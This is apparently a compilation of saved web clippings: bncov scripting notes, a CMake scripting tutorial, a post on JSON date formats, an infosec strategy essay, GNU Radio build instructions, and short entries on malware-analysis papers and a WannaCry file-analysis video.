id='63'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='881' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Scripting

bncov was designed so users can interact directly with the data structures the
plugin uses. See the `scripts/` directory for more ideas.

  * Helpful CoverageDB members:
    * trace\_dict \(maps filenames to set of basic block start addresses\)
    * block\_dict \(maps basic block start addresses to files containing it\)
    * total\_coverage \(set of start addresses of the basic blocks covered\)
  * Helpful CoverageDB functions:
    * get\_traces\_from\_block\(addr\) - get files that cover the basic block starting at addr.
    * get\_rare\_blocks\(threshold\) - get blocks covered by <= 'threshold' traces
    * get\_frontier\(\) - get blocks that have outgoing edges that aren't covered
    * get\_functions\_from\_blocks\(blocks\) - return dict mapping function names to blocks they contain
    * get\_traces\_from\_function\(function\_name\) - return set of traces that have coverage in the specified function
  * You can use Binary Ninja's python console and built-in python set operations with bncov.highlight\_set\(\) to do custom highlights in the Binary Ninja UI.

# Learn CMake's Scripting Language in 15 Minutes

**Created:**| _5/28/2017 11:06:26 AM_  
---|---  
**Updated:**| _5/28/2017 11:06:26 AM_  
**Author:**| __  
**Tags:**| _Tutorials build_  
  

  

May 22, 2017

# Learn CMake's Scripting Language in 15 Minutes

As explained in my previous post, every CMake-based project must contain a
script named `CMakeLists.txt`. This script defines **targets** , but it can
also do a lot of other things, such as finding third-party libraries or
generating C++ header files. CMake scripts have a lot of flexibility.

<img src='img/Temp2_4870.png' width='403' height='326' />

Every time you integrate an external library, and often when adding support
for another platform, you’ll need to edit the script. I spent a long time
editing CMake scripts without _really_ understanding the language, as the
documentation is quite scattered, but eventually, things clicked. The goal of
this post is to get you to the same point as quickly as possible.

This post won’t cover all of CMake’s built-in commands, as there are hundreds,
but it is a fairly complete guide to the **syntax** and **programming model**
of the language.

## Hello World

If you create a file named `hello.txt` with the following contents:

[code]

    message("Hello world!")         # A message to print
    
[/code]

…you can run it from the command line using `cmake -P hello.txt`. \(The `-P`
option runs the given script, but doesn’t generate a build pipeline.\) As
expected, it prints “Hello world\!”.

[code]

    $ cmake -P hello.txt
    Hello world!
    
[/code]

## All Variables Are Strings

In CMake, every variable is a string. You can substitute a variable inside a
string literal by surrounding it with `${}`. Modify `hello.txt` as follows:

[code]

    message("Hello ${NAME}!")       # Substitute a variable into the message
    
[/code]

Now, if we define `NAME` on the `cmake` command line using the `-D` option,
the script will use it:

[code]

    $ cmake -DNAME=Newman -P hello.txt
    Hello Newman!
    
[/code]

When a variable is undefined, it defaults to an empty string:

[code]

    $ cmake -P hello.txt
    Hello !
    
[/code]

To define a variable inside a script, use the `set` command. The first
argument is the name of the variable to assign, and the second argument is its
value:

[code]

    set(THING "funk")
    message("We want the ${THING}!")
    
[/code]

Quotes around arguments are optional, as long as there are no **spaces** or
**variable substitutions** in the argument. For example, I could have written
`set("THING" funk)` in the first line above – it would have been equivalent.
For most CMake commands \(except `if` and `while`, described below\), the
choice of whether to quote such arguments is simply a matter of style. When
the argument is the name of a variable, I tend not to use quotes.

## You Can Simulate a Data Structure using Prefixes

CMake does not have classes, but you can simulate a data structure by defining
a group of variables with names that begin with the same prefix. You can then
look up variables in that group using nested `${}` expressions. For example,
the following script will print “John Smith lives at 123 Fake St.”:

[code]

    set(JOHN_NAME "John Smith")
    set(JOHN_ADDRESS "123 Fake St")
    set(PERSON "JOHN")
    message("${${PERSON}_NAME} lives at ${${PERSON}_ADDRESS}.")
    
[/code]

You can even substitute variables into the name of the variable to set. For
example, if the value of `PERSON` is still “JOHN”, the following will set the
variable `JOHN_NAME` to “John Goodman”:

[code]

    set(${PERSON}_NAME "John Goodman")
    
[/code]

## Every Statement is a Command

In CMake, every statement is a command that takes a list of **string
arguments** and has **no return value**. Arguments are separated by
\(unquoted\) spaces. As we’ve already seen, the `set` command defines a
variable at file scope.

As another example, CMake has a `math` command that performs arithmetic. The
first argument must be `EXPR`, the second argument is the name of the variable
to assign, and the third argument is the expression to evaluate – all strings.
Note that on the third line below, CMake substitutes the _string_ value of
`MY_SUM` into the enclosing argument before passing the argument to `math`.

[code]

    math(EXPR MY_SUM "1 + 1")                   # Evaluate 1 + 1; store result in MY_SUM
    message("The sum is ${MY_SUM}.")
    math(EXPR DOUBLE_SUM "${MY_SUM} * 2")       # Multiply by 2; store result in DOUBLE_SUM
    message("Double that is ${DOUBLE_SUM}.")
    
[/code]

There’s a CMake command for just about anything you’ll need to do. The
`string` command lets you perform advanced string manipulation, including
regular expression replacement. The `file` command can read or write files, or
manipulate filesystem paths.

## Flow Control Commands

Even flow control statements are commands. The `if`/`endif` commands execute
the enclosed commands conditionally. Whitespace doesn’t matter, but it’s
common to indent the enclosed commands for readablity. The following checks
whether CMake’s built-in variable `WIN32` is set:

[code]

    if(WIN32)
        message("You're running CMake on Windows.")
    endif()
    
[/code]

CMake also has `while`/`endwhile` commands which, as you might expect, repeat
the enclosed commands as long as the condition is true. Here’s a loop that
prints all the Fibonacci numbers up to one million:

[code]

    set(A "1")
    set(B "1")
    while(A LESS "1000000")
        message("${A}")                 # Print A
        math(EXPR T "${A} + ${B}")      # Add the numeric values of A and B; store result in T
        set(A "${B}")                   # Assign the value of B to A
        set(B "${T}")                   # Assign the value of T to B
    endwhile()
    
[/code]

CMake’s `if` and `while` conditions aren’t written the same way as in other
languages. For example, to perform a numeric comparison, you must specify
`LESS` as a string argument, as shown above. The documentation explains how to
write a valid condition.

`if` and `while` are different from other CMake commands in that if the name
of a variable is specified without quotes, the command will use the variable’s
value. In the above code, I took advantage of that behavior by writing
`while(A LESS "1000000")` instead of `while("${A}" LESS "1000000")` – both
forms are equivalent. Other CMake commands don’t do that.

## Lists are Just Semicolon-Delimited Strings

CMake has a special string substitution rule for **unquoted** arguments. If
the entire argument is a variable substitution without quotes, and the
variable’s value contains **semicolons** , CMake will split the value at the
semicolons and pass **multiple arguments** to the enclosing command. For
example, the following passes three arguments to `math`:

[code]

    set(ARGS "EXPR;T;1 + 1")
    math(${ARGS})                                   # Equivalent to calling math(EXPR T "1 + 1")
    
[/code]

On the other hand, **quoted** arguments are never split into multiple
arguments, even after substitution. CMake always passes a quoted string as a
single argument, leaving semicolons intact:

[code]

    set(ARGS "EXPR;T;1 + 1")
    message("${ARGS}")                              # Prints: EXPR;T;1 + 1
    
[/code]

If more than two arguments are passed to the `set` command, they are joined by
semicolons, then assigned to the specified variable. This effectively creates
a list from the arguments:

[code]

    set(MY_LIST These are separate arguments)
    message("${MY_LIST}")                           # Prints: These;are;separate;arguments
    
[/code]

You can manipulate such lists using the `list` command:

[code]

    set(MY_LIST These are separate arguments)
    list(REMOVE_ITEM MY_LIST "separate")            # Removes "separate" from the list
    message("${MY_LIST}")                           # Prints: These;are;arguments
    
[/code]

The `foreach`/`endforeach` command accepts multiple arguments. It iterates
over all arguments except the first, assigning each one to the named variable:

[code]

    foreach(ARG These are separate arguments)
        message("${ARG}")                           # Prints each word on a separate line
    endforeach()
    
[/code]

You can iterate over a list by passing a variable substitution to `foreach`,
without quotes. As with any other command, CMake will split the variable’s
value and pass multiple arguments to the command:

[code]

    foreach(ARG ${MY_LIST})                         # Splits the list; passes items as arguments
        message("${ARG}")                           # Prints each item on a separate line
    endforeach()
    
[/code]

## Functions Run In Their Own Scope; Macros Don’t

In CMake, you can use a pair of `function`/`endfunction` commands to define a
function. Here’s one that doubles the numeric value of its argument, then
prints the result:

[code]

    function(doubleIt VALUE)
        math(EXPR RESULT "${VALUE} * 2")
        message("${RESULT}")
    endfunction()
    
    doubleIt("4")                           # Prints: 8
    
[/code]

Functions run in their own scope. None of the variables defined in a function
pollute the caller’s scope. If you want to return a value, you can pass the
name of a variable to your function, then call the `set` command with the
special argument `PARENT_SCOPE`:

[code]

    function(doubleIt VARNAME VALUE)
        math(EXPR RESULT "${VALUE} * 2")
        set(${VARNAME} "${RESULT}" PARENT_SCOPE)    # Set the named variable in caller's scope
    endfunction()
    
    doubleIt(RESULT "4")                    # Tell the function to set the variable named RESULT
    message("${RESULT}")                    # Prints: 8
    
[/code]

Similarly, a pair of `macro`/`endmacro` commands defines a macro. Unlike
functions, macros run in the same scope as their caller. Therefore, all
variables defined inside a macro are set in the caller’s scope. We can replace
the previous function with the following:

[code]

    macro(doubleIt VARNAME VALUE)
        math(EXPR ${VARNAME} "${VALUE} * 2")        # Set the named variable in caller's scope
    endmacro()
    
    doubleIt(RESULT "4")                    # Tell the macro to set the variable named RESULT
    message("${RESULT}")                    # Prints: 8
    
[/code]

Both functions and macros accept an arbitrary number of arguments. Unnamed
arguments are exposed to the function as a list, though a special variable
named `ARGN`. Here’s a function that doubles every argument it receives,
printing each one on a separate line:

[code]

    function(doubleEach)
        foreach(ARG ${ARGN})                # Iterate over each argument
            math(EXPR N "${ARG} * 2")       # Double ARG's numeric value; store result in N
            message("${N}")                 # Print N
        endforeach()
    endfunction()
    
    doubleEach(5 6 7 8)                     # Prints 10, 12, 14, 16 on separate lines
    
[/code]

## Including Other Scripts

CMake variables are defined at file scope. The `include` command executes
another CMake script in the **same scope** as the calling script. It’s a lot
like the `#include` directive in C/C++. It’s typically used to define a common
set of functions or macros in the calling script. It uses the variable
`CMAKE_MODULE_PATH` as a search path.

The `find_package` command looks for scripts of the form `Find*.cmake` and
also runs them in the same scope. Such scripts are often used to help find
external libraries. For example, if there is a file named `FindSDL2.cmake` in
the search path, `find_package(SDL2)` is equivalent to
`include(FindSDL2.cmake)`. \(Note that there are several ways to use the
`find_package` command – this is just one of them.\)

CMake’s `add_subdirectory` command, on the other hand, creates a **new scope**
, then executes the script named `CMakeLists.txt` from the specified directory
in that new scope. You typically use it to add another CMake-based subproject,
such as a library or executable, to the calling project. The targets defined
by the subproject are added to the build pipeline unless otherwise specified.
None of the variables defined in the subproject’s script will pollute the
parent’s scope unless the `set` command’s `PARENT_SCOPE` option is used.

As an example, here are some of the scripts involved when you run CMake on the
Turf project:

<img src='img/Temp2_4869.png' width='377' height='449' />

## Getting and Setting Properties

A CMake script defines **targets** using the `add_executable`, `add_library`
or `add_custom_target` commands. Once a target is created, it has
**properties** that you can manipulate using the `get_property` and
`set_property` commands. All target properties are strings.

[code]

    add_executable(MyApp "main.cpp")        # Create a target named MyApp
    
    # Get the target's SOURCES property and assign it to MYAPP_SOURCES
    get_property(MYAPP_SOURCES TARGET MyApp PROPERTY SOURCES)
    
    message("${MYAPP_SOURCES}")             # Prints: main.cpp
    
[/code]

Other target properties include `LINK_LIBRARIES`, `INCLUDE_DIRECTORIES` and
`COMPILE_DEFINITIONS`. Those properties are modified, indirectly, by the
`target_link_libraries`, `target_include_directories` and
`target_compile_definitions` commands. At the end of the script, CMake uses
those target properties to generate the build pipeline.

There are properties for other CMake entities, too. There is a set of
directory properties at every file scope. There is a set of global properties
that is accessible from all scripts. And there is a set of source file
properties for every C/C++ source file. Properties, together with variables,
make up CMake’s entire data model.

Congratulations\! You now know the CMake scripting language – or at least, it
should be easier to understand large scripts using CMake’s command reference.
Otherwise, the only thing missing from this guide, that I can think of, is
generator expressions. Let me know if I forgot anything else\!

« How to Build a CMake-Based Project

  

# JSON and Dates/Times - Mark Embling

**Created:**| _7/16/2011 1:08:29 PM_  
---|---  
**Updated:**| _7/16/2011 1:08:29 PM_  
**Author:**| __  
**Tags:**| _Distributed systems json_  
  

### JSON and Dates/Times

Posted on 15 July 2011 16:28, Tagged: javascript, json, mongodb

Lately I've noticed that JSON and dates/times do not go together well. JSON
allows integers, fractional numbers, strings, arrays and so on, but no way to
natively specify a point in time. It turns out this relatively minor-sounding
point can cause a fair bit more pain than it probably should.

### Current Options

It seems there are at least three relatively common methods of representation
of a point in time in JSON.

[code]

    // Serialise to a string representing the date & time
    {"point_in_time": "2011-07-14 19:43:37 +0100"}    // Ruby does this
    {"point_in_time": "2011-07-14T19:43:37+0100"}     // ISO 8601
    
    // Javascript Date object
    {"point_in_time": new Date(1310669017000)}
    
    // Common in the .NET world (again, a string)
    {"point_in_time": "\/Date(1310669017000)\/"}
    
[/code]

It's clear that with each of these there are some difficulties.

#### String Representation \(Human-readable/ISO 8601\)

Serialising to a string as in the first two samples above is a particularly
difficult one since there is no way to know at time of deserialisation whether
it is actually a date or a string which just happens to have the content of a
date in it. What normally happens here is the deserialiser will just assume it
is a string.

Since we just get a string back, it'd be up to the deserialiser - or the
application - to convert this string back into a useful Date/time
representation. Not really ideal. It's worth mentioning though that it is by
far the best option if human-readability is a concern.

#### JavaScript Date Object

The JavaScript date object option on the face of it seems sensible and also
seems suited to situations where the resultant JSON is going to be consumed by
a browser. However again, all is not what it seems.

When the JSON is consumed by a browser which does not have native JSON parsing
built in, it'll generally be executed to reconstruct the data into a native
JavaScript object. For example, jQuery uses the following method.

[code]

    var data = (new Function( "return " + json))();
    
[/code]

If we use the JavaScript date object approach here, it works perfectly. The
call for a new Date is simply executed and it ends up in the final result.

The problem is when it is given to a browser which _does_ have native JSON
parsing, it will not work. Native parsing ought to be faster and jQuery will
always use it if it's available. I tried the following and this is what
happened:

[code]

    $(function(){
        var json = '{"point_in_time": new Date(1310669017000)}';
        var data = $.parseJSON(json);
        console.log(data);
    });
    
[/code]

<img src='img/Temp2_4635.png' alt='JSON error in Chrome' /> Chrome \(version
12\)

<img src='img/Temp2_4637.png' alt='JSON error in Firefox 5' /> Firefox 5
\(with Firebug\)

<img src='img/Temp2_4636.png' alt='JSON error in IE9' /> Internet Explorer 9

Definitely not something which is going to work for browsers then. The problem
is that it is not actually valid JSON at all according to the spec. Choking on
it is a perfectly acceptable reaction for a parser to have. Just to round off,
I tried it in Ruby as well:

[code]

    ruby-1.9.2-p180 :003 > JSON.parse('{"timestamp": new Date(1310679502)}')
    JSON::ParserError: 706: unexpected token at '{"timestamp": new Date(1310679502)}'
        from /home/mark/.rvm/rubies/ruby-1.9.2-p180/lib/ruby/1.9.1/json/common.rb:146:in `parse'
        from /home/mark/.rvm/rubies/ruby-1.9.2-p180/lib/ruby/1.9.1/json/common.rb:146:in `parse'
        from (irb):3
        from /home/mark/.rvm/rubies/ruby-1.9.2-p180/bin/irb:16:in `<main>'
    
[/code]

Don't think that approach is up to much then.

#### Crazy .NET String Representation

Ok so it's actually not that crazy. This is the format Microsoft decided to
use and despite how it looks, it is actually a pretty good workaround.
Bertrand Le Roy posted a great explanation of it on his blog.

James Newton-King also adopted this option in his much-loved Json.NET project,
but leaves the option open to use various different formats. I think this sort
of open-ended customisable approach is probably the best way around the
problem for now.

### Unix Timestamps

A different take might be to forget about trying to store the actual date
itself and store a unix timestamp instead. Since a unix timestamp is just the
number of seconds since 1 Jan 1970 00:00:00 \(UTC\), all we need to store is a
simple integer.

[code]

    {"point_in_time": 1310669017}
    
[/code]

Doing things this way is nice and simple, but it does require knowledge on
either end - that is, the serialiser and deserialiser both need to know
explicitly which numbers represent dates. This is almost the same problem as
we had originally with the string-based approach - that means the smarts to
convert to and from this representation will probably end up being pushed up a
level into the applications themselves, and nobody wants that.

### MongoDB's Answer

MongoDB stores data in BSON and also speaks BSON to clients. The
language/platform-specific drivers are responsible for serialising and
deserialising this to the platform's native types. BSON also defines extra
types including dates in addition to those supported by JSON.

The reason I bring this up is because MongoDB can also expose a REST interface
which uses none other than our good friend JSON. Because of this, they've also
had to contend with the question of how these various extras ought to be
represented. The answer they came up with is to have the ability to have
several different modes which are discussed in more detail in the
documentation:

  * Strict - nothing is generated which is not legal according to the JSON spec
  * JS - uses some JavaScript types to represent some things
  * 10Gen - like the JS option, but also uses some 10Gen-specific types

When we are talking about dates, this means we end up with the following:

[code]

    // Strict
    {"point_in_time": { $date: <ms> }}  // ms = milliseconds since unix epoch
    
    // JS and 10Gen
    {"point_in_time": Date( <ms> )}     // ms = same as above
    
[/code]

The thing here is that we find again we have a couple of new options. Even the
JS option actually produces something different to the previous JS solution we
had before - but still just as incompatible.

Working with the MongoDB shell \(which itself is JS-based\) gives us yet
another representation:

[code]

    MongoDB shell version: 1.8.2
    connecting to: test
    > db.tests.insert({'ts':new Date()})
    > db.tests.find()
    { "_id" : ObjectId("4e1f671d671bd7812369551e"), "ts" : ISODate("2011-07-14T22:01:01.947Z") }
    
[/code]

Not sure what to really make of that.

### Solution

Unfortunately there is no good answer. It is more a case of picking an
approach which best fits what you are trying to do and just go with that. At
this point we are very much working around the limitations of JSON and the
crazy oversight in the spec. Any of the available approaches are going to need
a bit of work by either the parser or your own application in order to get
everything back to how you want it. Having various parser libraries make it
easy to change the format is definitely helpful.

If I had to pick the best of the bunch from the solutions we currently have
that work, I guess it would have to be the Microsoft approach. Whilst it looks
rather peculiar and makes use of a strange quirk of the spec, it is probably
the best compromise.

Given the power to change the spec, I would definitely make it a priority to
get some sort of sensible representation of time into it. To me, the most
correct of all the options is the MongoDB JS/10Gen option. That said, I don't
think it really matters. What does matter is that if and when there was a
common representation agreed upon in the spec, authors of the various browsers
and JSON libraries could converge on that solution. And that would make my
life, and I suspect quite a lot of other people's lives, much easier.

# Information Security Analytics Blog: Infosec Strategy in 1

**Created:**| _1/18/2014 7:47:25 PM_  
---|---  
**Updated:**| _1/18/2014 7:47:25 PM_  
**Author:**| __  
**Tags:**| _risk-management strategy_  
  

### Infosec Strategy in 1****

Target, Neiman Marcus, Microsoft, and many , many more..**.**  
  
Corporate America has a huge security problem**.** And it's not
compromises**.** It's a lack of strategic vision in cyber security**.**  
  
With a never-ending litany of massive breaches, organizations are spending so
much time trying to put fingers in the dikes, that no-one is stepping back to
look at the whole levee**.** Websites being compromised? Buy WAFs. Point of
sale being compromised? Put more tools on the PCI LAN**.** China hacking
people? Get a cyber intelligence feed**.** PHI/PII being leaked to pastebin?
Get DLP**.** No-one stops to ask the question, "Do these fit together**?** "
And when you don't, your infosec defense looks like this:  

<img src='img/Temp2_4449.jpg' width='287' height='320' />  
---  
Friday’s Friendly Funny by Dave Blazek  is licensed under a Creative Commons
Attribution-NoDerivs 3**.** 0 United States License .  
Before thinking about point solutions, an organization must come up with a
strategy**.** I would suggest a Strategy Statement such as:  

> Delay threat actors from realizing risks until they give up or are detected
> and responded to**.** Respond effectively. Degrade gracefully and remediate
> effectively when threat actors realize risks**.**
The above single statement sum up an entire infosec program, laying out
specific steps that can be used to plan and measure the program**.** Yours
doesn't need to be the same, but it needs to be a clear and concise statement
you can make measurable progress against**.** This one lays out base truths:  
  

  * That the program will be operations driven**.**
  * That risk is a fundamental element of the security program \(You can read some of my views on risk here , here , here , and here **.**\)
  * That the fundamental measurement of effectiveness is Delay vs Detection & Response**.**
  * That the organization should expect to operate in and recover from a compromised environment**.**

It also establishes the stages of incident life-cycle that drive the strategy:

  1. Delay
  2. Detect
  3. Respond
  4. Remediate

Calling the first step Delay is meant to be a bit controversial**.** I think
normally it would be 'deny', 'protect', 'deter', or something else**.**
However, as a community, we need to get out of the idea that if we just build
it secure enough, the threat will go away and never come back**.** Obviously,
not all threats will stick with their attack, however we need to plan our
strategy for the ones that do and those are the cases where all we are doing
is delaying**.**  
  
This is a statement we can easily track progress against in one, easy to read,
table:  

<img src='img/Temp2_4450.jpg' width='640' height='139' />  
---  
Infosec Defense Execution Strategy  
  

You can download the Infosec Defense Execution Strategy spreadsheet  including
an example**.** We also add reporting and after action review to the
stages**.** The states can easily be modified to meet an organization's
process**.** The Defensive Execution Strategy also breaks each step out into
discrete levels of completion:  
  

  1. Define \(Document what you want to do\)
  2. Build \(Create anything you need to do it\)
  3. Train \(Practice doing it\)
  4. Grade \(Measure how well you do it\)
  5. \(There is an implicit 5th step that, if you find any deficiencies in your grading you feed the measurement back into improving the step where the deficiency can be rectified**.**\)

Within the levels of completion we define two specific things: Who and
What**.** Without who, it is unclear as to who will actually get the work
done**.** If an organization doesn't know who will get the work done, you can
almost guarantee no-one will do it**.** A good model to use is RACI:
Responsible, Accountable, Consulted, Informed**.**  
  
'What' is also critical to tracking the strategy**.** There needs to be
deliverables which clearly show that a step has been performed**.** Managing
based on deliverables significantly simplifies tracking of progress**.** In
the same vain, you need to know what products need to exist prior to starting
a step**.** If you don't, you have no way of measuring if you are ready to
begin or not**.** Ultimately the topic of management by deliverables could
fill a book**.**  
  
From this one table of levels of completion above, all information security
projects can be planned**.** This also helps keep the organization focused on
more than just the 'build' step**.**

  

And each stage can be decomposed**.** Delay may be broken down into:

  1. Preventing incidents
  2. Operating in a compromised environment

Detection may be broken down into:

  1. Internal awareness
  2. External intelligence
  3. Prioritizing potential malice to investigate
  4. Facilitating correlation of prioritized information

\(As an aside, \#3 and \#4 above are a fundamentally new way of looking at
DFIR that is not yet widely adopted and deserves it's own post**.**\)

  

All projects and all security requirements should be traceable to the Strategy
Statement through the Infosec Defense Execution Strategy and the various
levels of decomposition**.** With this as a starting point, organizations can
see how all of their projects and requirements fit together, identify gaps,
and form a unified defense that looks less like the first picture and more
like this:

<img src='img/Temp2_4451.jpg' width='320' height='213' />  
---  
Image by Hao Wei, licensed licensed under the Creative Commons Attribution
2**.** 0 Generic license.  
****

# Home - Pencil Project

**Created:**| _4/22/2010 6:54:32 PM_  
---|---  
**Updated:**| _4/22/2010 6:54:52 PM_  
**Author:**| __  
**Tags:**| _Java programming awesome GUI Design prototyping_  
  

The Pencil Project's unique mission is to build a free and opensource tool for
making diagrams and GUI prototyping that everyone can use.

**Top features:**

  * Built-in stencils for diagraming and prototyping
  * Multi-page document with background page
  * Inter-page linkings\!
  * On-screen text editing with rich-text supports
  * Exporting to HTML, PNG, Openoffice.org document, Word document and PDF.
  * Undo/redo supports
  * Installing user-defined stencils and templates
  * Standard drawing operations: aligning, z-ordering, scaling, rotating...
  * Cross-platforms
  * Adding external objects
  * Personal Collection
  * Clipart Browser
  * And much more...

Pencil will always be free as it is released under the GPLversion 2 and is
available for virtually all platforms that Firefox 3 can run. The first
version of Pencil is tested against GNU/Linux 2.6 with GTK+, Windows XP and
Windows Vista.

  *[GPL]: The GNU Public License

# EmergingThreats/et-luajit-scripts

**Created:**| _7/13/2015 3:39:52 PM_  
---|---  
**Updated:**| _7/13/2015 3:39:52 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS_  
  

# EmergingThreats/**et-luajit-scripts**

# Josh Knows | CMake GNU Radio Port
**Created:**| _2/17/2011 5:01:07 PM_  
---|---  
**Updated:**| _2/17/2011 5:01:20 PM_  
**Author:**| __  
**Tags:**| _Lab-Setup DSP_  
  

# CMake GNU Radio Port

  * Introduction
  * Port goals
    * The following components have been ported:
    * The following components will be ported:
  * Port duties
    * Port components
    * Port binary packages
    * Back-port code
  * Get the code
  * Binary Packages
  * Linux build instructions
  * Windows build instructions
    * Install the dependencies
    * Setup the environment variables
    * Configure the project
    * Build and install gnuradio

* * *
## Introduction

I have ported various gnuradio components to a CMake build system, and
modified the parts of the code to be compatible with the MSVC compiler. This
page includes instructions for building the port on Windows and Linux; as well
as instructions for installing the prerequisites on Windows.

* * *
## Port goals

  * End-users will be able to download and install pre-built exe installers to use gnuradio natively on Windows.
  * End-developers will be able to build gnuradio natively on Windows with the MSVC compiler and likely other untested compilers.
  * End-users running Linux will also be able to install the pre-built deb and rpm packages. This will be particularly useful for users who cannot wait for their package manager to get the latest gnuradio packages.

### The following components have been ported:

  * gruel
  * gnuradio-core
  * gr-qtgui
  * gnuradio-companion

### The following components will be ported:

  * gr-uhd - partially done
  * volk - partially done
  * audio
  * misc examples
  * doxygen generation

**Note:** Other components may be ported upon request. Also other volunteer
efforts are welcome.

* * *
## Port duties

### Port components

The port repo will be periodically kept up-to-date with the gnuradio next
branch. Which involves:

  * resolving merge conflicts
  * keeping CMakeLists.txt consistent with source files
  * Adding API import/export macros to new header files

### Port binary packages

Binaries installers will be periodically built and uploaded. Building binary
installers is very easy with CMake using CPack. See the CPack generators page.
The following binary package types will be built:

  * Windows exe installer
  * Windows zip file
  * Linux deb package
  * Linux tarball

**Package notes:** Windows packages are built on on Windows7 with the most
recent Boost version available from Boost Pro Consulting. Unfortunately,
getting all x64 pre-built dependencies is very hard; and therefore, Windows
packages are only available in x86. Linux packages are built with the most
recent version of Ubuntu x64.

### Back-port code

Changes to the code base that allow for compiling under non-gcc compilers will
be back-ported to the mainline gnuradio next branch \(if the gurus permit
it\).

* * *
## Get the code

This gnuradio port is hosted at https://github.com/guruofquality/gnuradio

[code]

    git clone git://github.com/guruofquality/gnuradio.git
    
    
[/code]

* * *
## Binary Packages

Pre-built binary packages are not available yet.

TODO CPack setup

* * *
## Linux build instructions

The Linux build requirements are the same as Gnuradio proper. In addition,
install cmake, and if desired, cmake-gui. All packages should be available in
your system's package-manager.

Checkout the source and run the following commands:

[code]

    cd gnuradio
    mkdir build
    cd build
    cmake ../
    make
    make test
    make install
    
    
[/code]

* * *
## Windows build instructions

This section will be filled in with updated instructions based on the
following email: http://www.ruby-forum.com/topic/787305

### Install the dependencies

cmake, gsl, fftw, pyqt, pygtk, python, numpy, swig, cppunit can be found pre-
built in zip files or exe installers

qwt must be built from source once qt installed \(see readme\)

cheetah and lxml can be installed through easy install

I could not find a pre-built guile, so I just installed it from cygwin and
added c:\cywgin\bin to my PATH

### Setup the environment variables

All of the installed packages will need to have their bin and lib directories
added to the PATH so they can be found at runtime. While you're at it, set the
PYTHONPATH and PATH for the gnuradio install.

I recommend using rapid environment editor \(vs the 40 character entry box\)
so your eyes don't bleed. Here is a screen cap of the PATHS all setup on my
system:

### Configure the project

Open cmake-gui and feed it the paths for the gnuradio source tree and a path
for the generated build file stuff. Click configure.

What happens next is an iterative process and you will wish there was package
config :-\) Set the \*\_INCLUDE\_DIRS and \*\_LIBRARIES variables for various
dependencies. As you set these variables and click configure, check boxes for
gnuradio components will appear once their dependencies are met.

### Build and install gnuradio

Open gnuradio.sln and build and install, or open the MSVC command prompt and
run the following:

[code]

    cd <gnuradio build directory>
    devenv gnuradio.sln /build Release /project ALL_BUILD
    devenv gnuradio.sln /build Release /project INSTALL
    
    
[/code]

  

# MAVMM: Lightweight and Purpose Built VMM for Malware Analysis

**Created:**| _12/16/2009 11:46:43 AM_  
---|---  
**Updated:**| _12/16/2009 11:47:12 AM_  
**Author:**| __  
**Tags:**| _papers Malware-analysis_  
  
<img src='img/Temp2_4998' />

# BinSim: Trace-based Semantic Binary Diffing via System Call Sliced Segment Equivalence Checking | USENIX
**Created:**| _9/4/2017 9:27:39 AM_  
---|---  
**Updated:**| _9/4/2017 9:27:39 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# BinSim: Trace-based Semantic Binary Diffing via System Call Sliced Segment
Equivalence Checking

Authors:

Jiang Ming, _University of Texas at Arlington;_ Dongpeng Xu, Yufei Jiang, and
Dinghao Wu, _Pennsylvania State University_

## Open Access Content

USENIX is committed to Open Access to the research presented at our events.
Papers and proceedings are freely available to everyone once the event begins.
Any video, audio, and/or slides that are posted after the event are also free
and open to everyone. Support USENIX and our commitment to Open Access.

Ming PDF

BibTeX

Abstract:

Detecting differences between two binary executables \(binary diffing\), first
derived from patch analysis, have been widely employed in various software
security analysis tasks, such as software plagiarism detection and malware
lineage inference. Especially when analyzing malware variants, pervasive code
obfuscation techniques have driven recent work towards determining semantic
similarity in spite of ostensible difference in syntax. Existing ways rely on
either comparing runtime behaviors or modeling code snippet semantics with
symbolic execution. However, neither approach delivers the expected precision.
In this paper, we propose _system call sliced segment equivalence checking_ ,
a hybrid method to identify fine-grained semantic similarities or differences
between two execution traces. We perform enhanced dynamic slicing and symbolic
execution to compare the logic of instructions that impact on the observable
behaviors. Our approach improves existing semantics-based binary diffing by
1\) inferring whether two executable binaries’ behaviors are conditionally
equivalent; 2\) detecting the similarities or differences, whose effects
spread across multiple basic blocks. We have developed a prototype, called
_BinSim_ , and performed empirical evaluations against sophisticated
obfuscation combinations and more than 1;000 recent malware samples, including
now-infamous crypto ransomware. Our experimental results show that BinSim can
successfully identify fine-grained relations between obfuscated binaries, and
outperform existing binary diffing tools in terms of better resilience and
accuracy.

  * Log in or Register to post comments

  

# The Social-Engineer.org Podcast - Episode 001 - Interrogation and Interview
Tactics

**Created:**| _12/16/2009 11:52:03 AM_  
---|---  
**Updated:**| _12/16/2009 11:52:12 AM_  
**Author:**| __  
**Tags:**| _bookmark pentest socialising_  
  

# Episode 001 - Interrogation and Interview Tactics

The topic for this month is  _Interview and Interrogation Tactics_. Release
Date 05 October 2009

# WannaCry Simple File Analysis

**Created:**| _5/23/2017 12:56:59 PM_  
---|---  
**Updated:**| _5/23/2017 12:56:59 PM_  
**Author:**| __  
**Tags:**| _bookmark Malware-analysis Tutorials_  
  

  

## Tuesday 23 May 2017

###  WannaCry Simple File Analysis

Filed under: Malware,My Software,Reverse Engineering — Didier Stevens @ 7:32  

In this video, I show how to get started with my tools and a WannaCry sample.

Tools: pecheck.py, zipdump.py, strings.py

Sample: 84c82835a5d21bbcf75a61706d8ab549

WannaCry: Simple File Analysis

 Like

  * <img src='img/e9554dde596b93cb547488442111a998.jpg' width='30' height='30' alt='john astria' />
  * <img src='img/12113_012e1e517344862ff0a9c3fba5aadd74.jpg' width='30' height='30' alt='needull' />

2 bloggers like this.

### _Related_

Quickpost: WannaCry's Mutex Is MsWinZonesCacheCounterMutexA0 \(Digit Zero At
The End\)In "Malware"

Quickpost: WannaCry Killswitch Check Is Not Proxy AwareIn "Malware"

rtfdump VideosIn "maldoc"

Leave a Comment

